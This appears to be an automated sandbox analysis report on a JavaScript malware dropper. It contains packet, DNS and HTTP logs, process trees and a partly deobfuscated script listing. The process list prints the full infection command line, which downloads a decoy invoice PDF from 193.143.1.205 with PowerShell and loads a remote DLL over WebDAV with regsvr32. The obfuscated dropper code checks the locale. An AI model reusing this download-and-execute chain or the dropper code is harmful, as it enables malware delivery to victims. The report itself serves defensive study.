Jan 10, 2025 23:34:33.183156967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.183171034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.183207035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.183219910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.183232069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.183244944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.183255911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.183258057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.183268070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.183280945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.183288097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.183301926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.183305979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.183320999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.183334112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.183346033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.183346033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.183357000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.183388948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.197236061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.197264910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.197277069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.197288990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.197302103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.197314024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.197321892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.197367907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.197380066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.197386980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.197405100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.197416067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.197418928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.197427988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.197432995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.197438955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.197449923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.197454929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.197464943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.197493076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.207912922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.207941055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.207958937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.207976103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.207993031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.207998991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.208009958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.208024979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.208028078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.208072901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.231934071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.232007980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.232044935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.232078075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.232110977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.232144117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.232156038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.232182026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.232326031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.246109962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246176958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.246181011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246217966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246268034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.246269941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246323109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246356010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246366024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.246391058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246423960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246452093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.246458054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246490002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246517897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.246525049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246556997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246570110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.246588945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246622086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246656895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246665955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.246711016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246712923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.246746063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246782064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:33.246789932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.260869980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:33.561597109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:34.657555103 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:34.662489891 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:34.662604094 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:34.667047024 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:34.671772003 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:35.463228941 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 23:34:35.511897087 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 23:34:35.560416937 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 23:36:30.416903973 CET	56230	53	192.168.2.4	1.1.1.1
Jan 10, 2025 23:36:30.421735048 CET	53	56230	1.1.1.1	192.168.2.4
Jan 10, 2025 23:36:30.421818018 CET	56230	53	192.168.2.4	1.1.1.1
Jan 10, 2025 23:36:30.421864033 CET	56230	53	192.168.2.4	1.1.1.1
Jan 10, 2025 23:36:30.426649094 CET	53	56230	1.1.1.1	192.168.2.4
Jan 10, 2025 23:36:30.886029005 CET	53	56230	1.1.1.1	192.168.2.4
Jan 10, 2025 23:36:30.890152931 CET	56230	53	192.168.2.4	1.1.1.1
Jan 10, 2025 23:36:30.895183086 CET	53	56230	1.1.1.1	192.168.2.4
Jan 10, 2025 23:36:30.895260096 CET	56230	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:34:43.199779987 CET	61873	53	192.168.2.4	1.1.1.1
Jan 10, 2025 23:36:30.416505098 CET	53	49288	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:34:43.199779987 CET	192.168.2.4	1.1.1.1	0xbaa7	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:34:43.207994938 CET	1.1.1.1	192.168.2.4	0xbaa7	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	3716	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:34:31.684237003 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:34:32.486151934 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:34:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 23:34:32.486217976 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 23:34:32.486258030 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 23:34:32.486291885 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 23:34:32.486340046 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 23:34:32.486372948 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 23:34:32.486408949 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 23:34:32.486445904 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 23:34:32.486480951 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 23:34:32.486519098 CET	896	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 23:34:32.491379023 CET	892	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	5756	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:34:34.667047024 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 23:34:35.463228941 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:34:35 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	17:34:27
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26448249042746730897.js"
Imagebase:	0x7ff6750f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:34:28
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll
Imagebase:	0x7ff616c20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:34:28
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:34:28
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:34:33
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	17:34:33
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff616c20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:34:33
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff776060000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	17:34:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	17:34:35
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:34:35
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1744,i,6970937415629293393,4923579797717251566,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function clzqj() {	clzqj() ➔ undefined
1	qmhil = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var fuekwaau = this[qygdu + iyjhu + mcbhkgblp + tlbkqute + ldmqwkerf + coqtwgju + mvdiicqt + apanxz] ( this[xisqb + vpzlqax + nzbljj + mcbhkgblp + fllpgo + qygdu + apanxz][pyaxlrr + mcbhkgblp + ldmqwkerf + iyjhu + apanxz + ldmqwkerf + yyaou + brlctnn + raqqzdo + ldmqwkerf + nzbljj + apanxz] ( xisqb + vpzlqax + nzbljj + mcbhkgblp + fllpgo + qygdu + apanxz + qhfehol + vpzlqax + rzqtgsfvz + ldmqwkerf + kdhhs + kdhhs ) [ehmmkyc + ldmqwkerf + anfgipav + ehmmkyc + ldmqwkerf + iyjhu + wihskzmrm] ( qifnv + jpzhxmtu + ohtefvb + vernkwnty + jjhzbs + pyaxlrr + hlykbbx + ehmmkyc + ehmmkyc + ohtefvb + zkijnjns + msnrfx + jjhzbs + hlykbbx + vpzlqax + ohtefvb + ehmmkyc + frdhpn + pyaxlrr + dtsdkein + mvdiicqt + apanxz + mcbhkgblp + dtsdkein + kdhhs + uyrto + sdcmcrehv + iyjhu + mvdiicqt + ldmqwkerf + kdhhs + frdhpn + coqtwgju + mvdiicqt + apanxz + ldmqwkerf + mcbhkgblp + mvdiicqt + iyjhu + apanxz + fllpgo + dtsdkein + mvdiicqt + iyjhu + kdhhs + frdhpn + chnzryqx + dtsdkein + nzbljj + iyjhu + kdhhs + ldmqwkerf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( mjpgppdw = 0 ; mjpgppdw < qmhil[kdhhs + ldmqwkerf + mvdiicqt + anfgipav + apanxz + rzqtgsfvz] ; ++ mjpgppdw )
4	{
5	if ( fuekwaau == qmhil[mjpgppdw] )
6	{
7	fuekwaau = true;
8	break ;
9	}
10	}
11	if ( fuekwaau !== true )
12	this[xisqb + vpzlqax + nzbljj + mcbhkgblp + fllpgo + qygdu + apanxz][mztap + ysnjqyrv + fllpgo + apanxz] ( );
13	this[xisqb + vpzlqax + nzbljj + mcbhkgblp + fllpgo + qygdu + apanxz][pyaxlrr + mcbhkgblp + ldmqwkerf + iyjhu + apanxz + ldmqwkerf + yyaou + brlctnn + raqqzdo + ldmqwkerf + nzbljj + apanxz] ( xisqb + vpzlqax + nzbljj + mcbhkgblp + fllpgo + qygdu + apanxz + qhfehol + vpzlqax + rzqtgsfvz + ldmqwkerf + kdhhs + kdhhs ) [mcbhkgblp + ysnjqyrv + mvdiicqt] ( nzbljj + tqokph + wihskzmrm + uyrto + juotgj + nzbljj + uyrto + qygdu + dtsdkein + rtfltymjm + ldmqwkerf + mcbhkgblp + tlbkqute + rzqtgsfvz + ldmqwkerf + kdhhs + kdhhs + qhfehol + ldmqwkerf + gxcbiidup + ldmqwkerf + uyrto + dtxhdhe + pyaxlrr + dtsdkein + tqokph + tqokph + iyjhu + mvdiicqt + wihskzmrm + uyrto + haqqdgk + coqtwgju + mvdiicqt + mskvbmzv + dtsdkein + molbvmexg + 